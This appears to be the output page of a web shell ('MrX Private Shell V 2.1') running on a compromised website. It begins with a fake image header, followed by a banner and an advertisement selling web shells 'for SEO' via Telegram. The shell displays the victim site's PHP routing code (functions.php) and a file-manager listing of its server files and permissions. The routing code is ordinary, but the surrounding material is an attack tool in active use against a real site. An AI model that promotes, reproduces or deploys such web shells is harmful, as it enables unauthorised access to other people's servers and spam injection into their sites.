����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
function getSubdomain()
{
$host = $_SERVER['HTTP_HOST']; // Example: www.delhigal.com, ncr.delhigal.com
// Remove port if present
$host = preg_replace('/:\d+$/', '', $host);
$baseDomain = BASE_DOMAIN; // Example: delhigal.com
// If www or main domain → return delhi
if ($host === $baseDomain || $host === 'www.' . $baseDomain) {
return 'delhi';
}
// Check if it's a subdomain of base domain
if (substr($host, -strlen($baseDomain) - 1) === '.' . $baseDomain) {
$subdomain = substr($host, 0, -strlen($baseDomain) - 1);
return $subdomain ?: 'delhi';
}
return 'delhi'; // Default fallback
}
function createurl($subdomain = 'www')
{
// Get only the last part if multiple levels exist
if (strpos($subdomain, '.') !== false) {
$parts = explode('.', $subdomain);
$subdomain = end($parts); // Get last segment
}
// For main domain or delhi → use www
if ($subdomain == 'www' || $subdomain == 'delhi') {
return 'https://www.' . URL;
}
// Otherwise return subdomain URL
return 'https://' . $subdomain . '.' . URL;
}
function createHierarchicalUrl1($areaSlug)
{
if ($areaSlug == 'delhi') {
return 'https://www.' . URL;
}
$xml = simplexml_load_file(XML_FILE);
$parents = [];
$found = findAreaAndParents($xml, $areaSlug, $parents);
if (!$found) {
return 'https://' . $areaSlug . '.' . URL;
}
if (!empty($parents)) {
$last = end($parents);
$subdomain = $last['slug'];
} else {
$subdomain = $areaSlug;
}
return 'https://' . $subdomain . '.' . URL;
}
function findAreaAndParents($node, $targetSlug, &$parents, $currentPath = [])
{
foreach ($node->area as $area) {
$slug = (string)$area['slug'];
$name = (string)$area['name'];
$newPath = $currentPath;
$newPath[] = ['slug' => $slug, 'name' => $name];
// Check if this is the target area
if ($slug === $targetSlug) {
$parents = $newPath;
return true;
}
// Recursively search in children
if ($area->count() > 0) {
$found = findAreaAndParents($area, $targetSlug, $parents, $newPath);
if ($found) {
return true;
}
}
}
return false;
}
// Enhanced function to create URLs with parent hierarchy
function createHierarchicalUrl($areaSlug, $parents = [])
{
if ($areaSlug == 'delhi') {
return 'https://www.' . URL;
}
$subdomainPath = $areaSlug;
if (!empty($parents)) {
$parentSlugs = array_column($parents, 'slug');
$subdomainPath = implode('.', $parentSlugs) . '.' . $areaSlug;
}
return 'https://' . $subdomainPath . '.' . URL;
}
function getAreaByHost($isubdomain)
{
$xmlFile = XML_FILE;
// Handle 'delhi' case
if ($isubdomain == 'delhi') {
$slugs = ['delhi'];
} else {
$slugs = array_reverse(explode('.', $isubdomain));
}
// e.g. "ncr.meerut" → ["meerut","ncr"]
$subdomain = $slugs[0]; // last part to search
if (!file_exists($xmlFile)) {
return false;
}
$xml = simplexml_load_file($xmlFile);
if (!$xml) {
return false;
}
// Find all nodes with matching slug (sanitize subdomain for XPath - escape single quotes)
$safeSubdomain = str_replace("'", "''", $subdomain);
$result = $xml->xpath("//area[@slug='" . $safeSubdomain . "']");
if (empty($result)) {
return false; // no such node
}
// Check if one of them matches the full parent chain
foreach ($result as $node) {
$parentNode = $node;
$ok = true;
$matchedSlugs = [(string)$node['slug']];
// Walk up parents and check against the rest of $slugs
for ($i = 1; $i < count($slugs); $i++) {
$parent = $parentNode->xpath("parent::area");
if (empty($parent[0]) || (string)$parent[0]['slug'] !== $slugs[$i]) {
$ok = false;
break;
}
$parentNode = $parent[0];
$matchedSlugs[] = (string)$parent[0]['slug'];
}
if ($ok) {
// ✅ Full chain matched — return attributes + parents
$attributes = [];
foreach ($node->attributes() as $key => $val) {
$attributes[$key] = (string)$val;
}
// Build parent chain
$parents = [];
$pNode = $node;
while ($p = $pNode->xpath("parent::area")) {
if (!empty($p[0])) {
$pp = $p[0];
$parents[] = [
'name' => (string)$pp['name'],
'slug' => (string)$pp['slug']
];
$pNode = $pp;
} else {
break;
}
}
$attributes['parents'] = array_reverse($parents);
return $attributes;
}
}
return false; // no full match in hierarchy
}
// Enhanced function to get area with full hierarchical URL
function getAreaWithHierarchicalUrl($isubdomain)
{
$area = getAreaByHost($isubdomain);
if ($area) {
// Add hierarchical URL to the area data
$area['hierarchical_url'] = createHierarchicalUrl1($area['slug']);
// Also add direct URL for backward compatibility
$area['direct_url'] = createurl($area['slug']);
}
return $area;
}
// Alternative simpler function for direct slug matching
function getAreaBySlugSimple($slug)
{
$xmlFile = XML_FILE;
if (!file_exists($xmlFile)) {
return false;
}
$xml = simplexml_load_file($xmlFile);
if (!$xml) {
return false;
}
// Search for area with matching slug (sanitize for XPath - escape single quotes)
$safeSlug = str_replace("'", "''", $slug);
$result = $xml->xpath("//area[@slug='" . $safeSlug . "']");
if (!empty($result)) {
$node = $result[0];
$attributes = [];
foreach ($node->attributes() as $key => $val) {
$attributes[$key] = (string)$val;
}
// Build parent chain
$parents = [];
$parentNode = $node;
while ($parent = $parentNode->xpath("parent::area")) {
if (!empty($parent[0])) {
$p = $parent[0];
$parents[] = [
'name' => (string)$p['name'],
'slug' => (string)$p['slug']
];
$parentNode = $p;
} else {
break;
}
}
$attributes['parents'] = array_reverse($parents);
// Add URLs
$attributes['hierarchical_url'] = createHierarchicalUrl1($attributes['slug']);
$attributes['direct_url'] = createurl($attributes['slug']);
return $attributes;
}
return false;
}
function show404()
{
global $subdomain;
// Send proper 404 header
http_response_code(404);
// Show custom 404 page
$safeSubdomain = htmlspecialchars($subdomain ?? 'unknown', ENT_QUOTES, 'UTF-8');
$homeUrl = htmlspecialchars('http://' . URL, ENT_QUOTES, 'UTF-8');
echo '<!DOCTYPE html>
<html>
<head>
<title>404 - Area Not Found</title>
<style>
body { font-family: Arial, sans-serif; text-align: center; padding: 50px; }
h1 { color: #d9534f; }
.container { max-width: 600px; margin: 0 auto; }
</style>
</head>
<body>
<div class="container">
<h1>404 - Area Not Found</h1>
<p>The area "' . $safeSubdomain . '" was not found in our directory.</p>
<p><a href="' . $homeUrl . '" class="btn btn-primary">Return to Homepage</a></p>
</div>
</body>
</html>';
exit;
}
function contentincludefile()
{
global $subdomain;
$safeSubdomain = basename($subdomain ?? 'default');
$safeSubdomain = preg_replace('/[^a-zA-Z0-9_-]/', '', $safeSubdomain);
if (empty($safeSubdomain)) {
$safeSubdomain = 'default';
}
$contentDir = CONTENT_DIR;
$contentfile = $contentDir . $safeSubdomain . '.php';
$defaultcontentfile = DEFAULT_CONTENT_FILE;
$realContentFile = realpath($contentfile);
$realContentDir = realpath($contentDir);
if ($realContentFile && $realContentDir && strpos($realContentFile, $realContentDir) === 0 && file_exists($contentfile)) {
return $contentfile;
} else {
return $defaultcontentfile;
}
}
function loadCityList($xmlFile)
{
if (!file_exists($xmlFile)) {
throw new Exception("XML file not found: $xmlFile");
}
return simplexml_load_file($xmlFile);
}
function parseAreas($xmlNode)
{
$result = [];
foreach ($xmlNode->area as $area) {
$areaData = [
'name' => (string) $area['name'],
'slug' => (string) $area['slug'],
'phone' => (string) $area['phone'],
'email' => (string) $area['email'],
'children' => parseAreas($area) // recursion for sub-areas
];
$result[] = $areaData;
}
return $result;
}
/**
* Get children of a given slug
*/
function getChildrenBySlug($areas, $slug)
{
foreach ($areas as $area) {
if ($area['slug'] === $slug) {
return $area['children'];
}
// search recursively
$found = getChildrenBySlug($area['children'], $slug);
if ($found !== null) {
return $found;
}
}
return null;
}
/**
* Get parent of a given slug
*/
function getParentBySlug($areas, $slug, $parent = null)
{
foreach ($areas as $area) {
if ($area['slug'] === $slug) {
return $parent;
}
$found = getParentBySlug($area['children'], $slug, $area);
if ($found !== null) {
return $found;
}
}
return null;
}
/**
* Get all top-level parent areas
*/
function getAllParentAreas()
{
$xmlFile = XML_FILE;
if (!file_exists($xmlFile)) {
return [];
}
$xml = simplexml_load_file($xmlFile);
if (!$xml) {
return [];
}
$parents = [];
// Get direct children of root (Delhi and NCR) - safe XPath query
$result = $xml->xpath('/citylist/area');
if (empty($result)) {
$result = $xml->xpath('//citylist/area');
}
foreach ($result as $area) {
$parents[] = [
'name' => (string)$area['name'],
'slug' => (string)$area['slug'],
'phone' => (string)$area['phone'],
'email' => (string)$area['email']
];
}
return $parents;
}
/**
* Get all parent areas with hierarchical URLs
*/
function getAllParentAreasWithUrls()
{
$parents = getAllParentAreas();
foreach ($parents as &$parent) {
$parent['url'] = createurl($parent['slug']);
$parent['hierarchical_url'] = createHierarchicalUrl1($parent['slug']);
}
return $parents;
}
/**
* Get all child areas for a specific parent slug
*/
function getChildAreasByParent($parentSlug)
{
$xmlFile = XML_FILE;
if (!file_exists($xmlFile)) {
return [];
}
$xml = simplexml_load_file($xmlFile);
if (!$xml) {
return [];
}
$children = [];
// Get direct children of the parent (sanitize for XPath - escape single quotes)
$safeParentSlug = str_replace("'", "''", $parentSlug);
$result = $xml->xpath("//area[@slug='" . $safeParentSlug . "']/area");
foreach ($result as $area) {
$children[] = [
'name' => (string)$area['name'],
'slug' => (string)$area['slug'],
'phone' => (string)$area['phone'],
'email' => (string)$area['email']
];
}
return $children;
}
/**
* Get child areas with hierarchical URLs
*/
function getChildAreasByParentWithUrls($parentSlug, $parentData = null)
{
$children = getChildAreasByParent($parentSlug);
foreach ($children as &$child) {
$parents = [];
if ($parentData) {
$parents = [$parentData];
}
$child['url'] = createurl($child['slug']);
$child['hierarchical_url'] = createHierarchicalUrl1($child['slug']);
}
return $children;
}
/**
* Get all areas with their children (nested structure)
*/
function getAllAreasWithChildren()
{
$xmlFile = XML_FILE;
if (!file_exists($xmlFile)) {
return [];
}
$xml = simplexml_load_file($xmlFile);
if (!$xml) {
return [];
}
$areas = [];
// Get top-level areas - safe XPath query
$topLevel = $xml->xpath('/citylist/area');
if (empty($topLevel)) {
$topLevel = $xml->xpath('//citylist/area');
}
foreach ($topLevel as $area) {
$areaData = [
'name' => (string)$area['name'],
'slug' => (string)$area['slug'],
'phone' => (string)$area['phone'],
'email' => (string)$area['email'],
'children' => []
];
// Get children of this area
$children = $area->xpath("area");
foreach ($children as $child) {
$areaData['children'][] = [
'name' => (string)$child['name'],
'slug' => (string)$child['slug'],
'phone' => (string)$child['phone'],
'email' => (string)$child['email']
];
}
$areas[] = $areaData;
}
return $areas;
}
/**
* Get all areas with children and hierarchical URLs
*/
function getAllAreasWithChildrenAndUrls()
{
$areas = getAllAreasWithChildren();
foreach ($areas as &$parentArea) {
$parentArea['url'] = createurl($parentArea['slug']);
$parentArea['hierarchical_url'] = createHierarchicalUrl1($parentArea['slug']);
foreach ($parentArea['children'] as &$child) {
$child['url'] = createurl($child['slug']);
$child['hierarchical_url'] = createHierarchicalUrl1($child['slug']);
}
}
return $areas;
}
/**
* Get breadcrumb navigation for current area
*/
function getBreadcrumbNavigation($area)
{
if (!$area || !isset($area['parents'])) {
return '';
}
$breadcrumbs = [];
// Add homepage
$breadcrumbs[] = [
'name' => 'Home',
'url' => createurl('delhi')
];
// Add parent areas
foreach ($area['parents'] as $parent) {
$breadcrumbs[] = [
'name' => $parent['name'],
'url' => createHierarchicalUrl1($parent['slug'])
];
}
// Add current area
$breadcrumbs[] = [
'name' => $area['name'],
'url' => $area['hierarchical_url'],
'active' => true
];
return $breadcrumbs;
}
/**
* Display breadcrumb navigation
*/
function displayBreadcrumb($area)
{
$breadcrumbs = getBreadcrumbNavigation($area);
if (empty($breadcrumbs)) {
return '';
}
$output = '<nav aria-label="breadcrumb">';
$output .= '<ol class="breadcrumb">';
foreach ($breadcrumbs as $index => $crumb) {
if (isset($crumb['active']) && $crumb['active']) {
$output .= '<li class="breadcrumb-item active" aria-current="page">' . htmlspecialchars($crumb['name']) . '</li>';
} else {
$output .= '<li class="breadcrumb-item"><a href="' . $crumb['url'] . '">' . htmlspecialchars($crumb['name']) . '</a></li>';
}
}
$output .= '</ol>';
$output .= '</nav>';
return $output;
}
/**
* Check if current area has children
*/
function hasChildAreas($areaSlug)
{
$children = getChildAreasByParent($areaSlug);
return !empty($children);
}
/**
* Get areas based on context - auto-detects parent
*/
function getContextualAreas($type = 'auto')
{
global $area;
if (!$area) {
return [];
}
switch ($type) {
case 'children':
// Get children of current area
return getChildAreasByParentWithUrls($area['slug'], $area);
case 'siblings':
// Get siblings of current area
if (!empty($area['parents'])) {
$lastParent = end($area['parents']);
$siblings = getChildAreasByParentWithUrls($lastParent['slug'], $lastParent);
// Remove current area from siblings
return array_filter($siblings, function ($sibling) use ($area) {
return $sibling['slug'] !== $area['slug'];
});
}
return [];
case 'parent_children':
// Get children of parent area
if (!empty($area['parents'])) {
$lastParent = end($area['parents']);
return getChildAreasByParentWithUrls($lastParent['slug'], $lastParent);
}
return [];
case 'auto':
default:
// Auto-detect: prefer children, fallback to siblings
if (hasChildAreas($area['slug'])) {
return getChildAreasByParentWithUrls($area['slug'], $area);
} elseif (!empty($area['parents'])) {
$lastParent = end($area['parents']);
return getChildAreasByParentWithUrls($lastParent['slug'], $lastParent);
}
return [];
}
}
function getNextSlugFromXML()
{
$subdomain = getSubdomain();
$lastValue = explode('.', $subdomain)[count(explode('.', $subdomain)) - 1];
// XML file path
$xmlFile = XML_FILE;
// Static variable to track calls in same execution
static $callCount = 0;
static $slugs = null;
static $startIndex = 0;
// Load XML only once per execution
if ($slugs === null) {
if (!file_exists($xmlFile)) {
return 'delhi';
}
$xml = simplexml_load_file($xmlFile);
if ($xml === false) {
return 'delhi';
}
// Extract all slugs from XML
$slugs = [];
extractSlugsFromXML($xml, $slugs);
if (empty($slugs)) {
return 'delhi';
}
// Set start index based on current subdomain
$foundIndex = array_search($lastValue, $slugs);
$startIndex = ($foundIndex !== false) ? $foundIndex + 1 : 0;
}
// Calculate current index
$currentIndex = ($startIndex + $callCount) % count($slugs);
// Get current slug
$currentSlug = $slugs[$currentIndex];
// Increment call count for next call
$callCount++;
return $currentSlug;
}
function extractSlugsFromXML($xmlNode, &$slugs)
{
foreach ($xmlNode->area as $area) {
// Add current area's slug
$slug = (string)$area['slug'];
if (!empty($slug)) {
$slugs[] = $slug;
}
// Recursively process child areas
if ($area->count() > 0) {
extractSlugsFromXML($area, $slugs);
}
}
}
function titletext($text)
{
return ucwords(str_replace('-', ' ', $text));
}
function getAllAreasFlatWithUrls()
{
$xmlFile = XML_FILE;
if (!file_exists($xmlFile)) {
return [];
}
$xml = simplexml_load_file($xmlFile);
if (!$xml) {
return [];
}
$result = [];
$stack = [["node" => $xml, "depth" => 0]];
while ($stack) {
$item = array_pop($stack);
$node = $item["node"];
$depth = $item["depth"];
foreach ($node->area as $area) {
$name = (string)$area['name'];
$slug = (string)$area['slug'];
$result[] = [
'name' => $name,
'slug' => $slug,
'depth' => $depth,
'hierarchical_url' => createHierarchicalUrl1($slug)
];
if ($area->count() > 0) {
$stack[] = ["node" => $area, "depth" => $depth + 1];
}
}
}
return $result;
}
function replacePlaceholdersInContent($area, $currenturl)
{
$cityName = $area['name'] ?? '';
$linkUrl = $currenturl ?? '';
$replacements = [
'{city}' => $cityName,
'{link}' => $linkUrl,
];
$keys = ['city', 'metaTitle', 'metaDescription', 'metaKeywords', 'mainheading'];
foreach ($keys as $k) {
if (isset($GLOBALS[$k]) && is_string($GLOBALS[$k])) {
$GLOBALS[$k] = strtr($GLOBALS[$k], $replacements);
}
}
for ($i = 1; $i <= 6; $i++) {
$key = 'content' . $i;
if (isset($GLOBALS[$key]) && is_string($GLOBALS[$key])) {
$GLOBALS[$key] = strtr($GLOBALS[$key], $replacements);
}
}
if (isset($GLOBALS['faqs']) && is_array($GLOBALS['faqs'])) {
$faqs = $GLOBALS['faqs'];
foreach ($faqs as &$faq) {
if (isset($faq['question']) && is_string($faq['question'])) {
$faq['question'] = strtr($faq['question'], $replacements);
}
if (isset($faq['answer']) && is_string($faq['answer'])) {
$faq['answer'] = strtr($faq['answer'], $replacements);
}
}
unset($faq);
$GLOBALS['faqs'] = $faqs;
}
}| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| .well-known | Folder | 0777 |
|
|
| cache | Folder | 0777 |
|
|
| content | Folder | 0777 |
|
|
| content1 | Folder | 0777 |
|
|
| image | Folder | 0777 |
|
|
| .ftpquota | File | 12 B | 0666 |
|
| 404.php | File | 1.31 KB | 0666 |
|
| _ | File | 3.55 KB | 0644 |
|
| android-chrome-192x192.png | File | 78.08 KB | 0666 |
|
| android-chrome-512x512.png | File | 378.8 KB | 0666 |
|
| apple-touch-icon.png | File | 69.97 KB | 0666 |
|
| arealist.xml | File | 13.18 KB | 0666 |
|
| auth.php | File | 884 B | 0666 |
|
| cache.php | File | 948 B | 0666 |
|
| content_manager.php | File | 11.84 KB | 0666 |
|
| delhigal.zip | File | 6.82 MB | 0644 |
|
| error_logs.php | File | 10.43 KB | 0644 |
|
| frontpage.php | File | 113.04 KB | 0666 |
|
| functions.php | File | 21.38 KB | 0666 |
|
| robots.txt | File | 71 B | 0666 |
|
| template-footer.php | File | 6.32 KB | 0666 |
|
| template-header.php | File | 38.08 KB | 0666 |
|
| template.php | File | 93.07 KB | 0666 |
|
| test.php | File | 151 B | 0666 |
|